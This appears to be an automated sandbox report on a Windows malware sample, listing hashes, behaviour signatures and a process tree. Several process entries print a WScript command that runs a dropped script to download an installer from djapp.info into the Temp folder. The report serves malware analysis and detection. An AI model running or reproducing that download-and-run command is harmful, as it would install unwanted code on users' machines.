Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240426-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system
  • submitted
    11-06-2024 01:45

General

  • Target

    9c9f8077d369a4a87d167db13614011e_JaffaCakes118.exe

  • Size

    184KB

  • MD5

    9c9f8077d369a4a87d167db13614011e

  • SHA1

    03bdc97d9fbf36954e7b8ca0056244bfb3b95314

  • SHA256

    11dd26923dc1bb49015f62b9f918ee0194f5bd938cfd6572978edea5af6dfca1

  • SHA512

    195b77c916fe9b61a320db8a0568d4ab9d14301273c8be528a9876f4c77d9a1d671ab4b0fb1e322fd6140cbe6a89b3562192146f58934b96c71aab500f9546ee

  • SSDEEP

    3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO3A:/7BSH8zUB+nGESaaRvoB7FJNndnB

Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 6 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies registry class 1 IoCs
  • Suspicious use of WriteProcessMemory 15 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\9c9f8077d369a4a87d167db13614011e_JaffaCakes118.exe
    "C:\Users\Admin\AppData\Local\Temp\9c9f8077d369a4a87d167db13614011e_JaffaCakes118.exe"
    1⤵
    • Checks computer location settings
    • Modifies registry class
    • Suspicious use of WriteProcessMemory
    PID:388
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf3047.js" http://www.djapp.info/?domain=RRcbrOSpJQ.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf3047.exe
      2⤵
        PID:1920
      • C:\Windows\SysWOW64\WScript.exe
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf3047.js" http://www.djapp.info/?domain=RRcbrOSpJQ.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf3047.exe
        2⤵
        • Blocklisted process makes network request
        PID:4408
      • C:\Windows\SysWOW64\WScript.exe
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf3047.js" http://www.djapp.info/?domain=RRcbrOSpJQ.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf3047.exe
        2⤵
        • Blocklisted process makes network request
        PID:3392
      • C:\Windows\SysWOW64\WScript.exe
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf3047.js" http://www.djapp.info/?domain=RRcbrOSpJQ.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf3047.exe
        2⤵
        • Blocklisted process makes network request
        PID:5028
      • C:\Windows\SysWOW64\WScript.exe
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf3047.js" http://www.djapp.info/?domain=RRcbrOSpJQ.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf3047.exe
        2⤵
        • Blocklisted process makes network request
        PID:1860

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Local\Temp\fuf3047.js

      Filesize

      3KB

      MD5

      3813cab188d1de6f92f8b82c2059991b

      SHA1

      4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb

      SHA256

      a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e

      SHA512

      83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76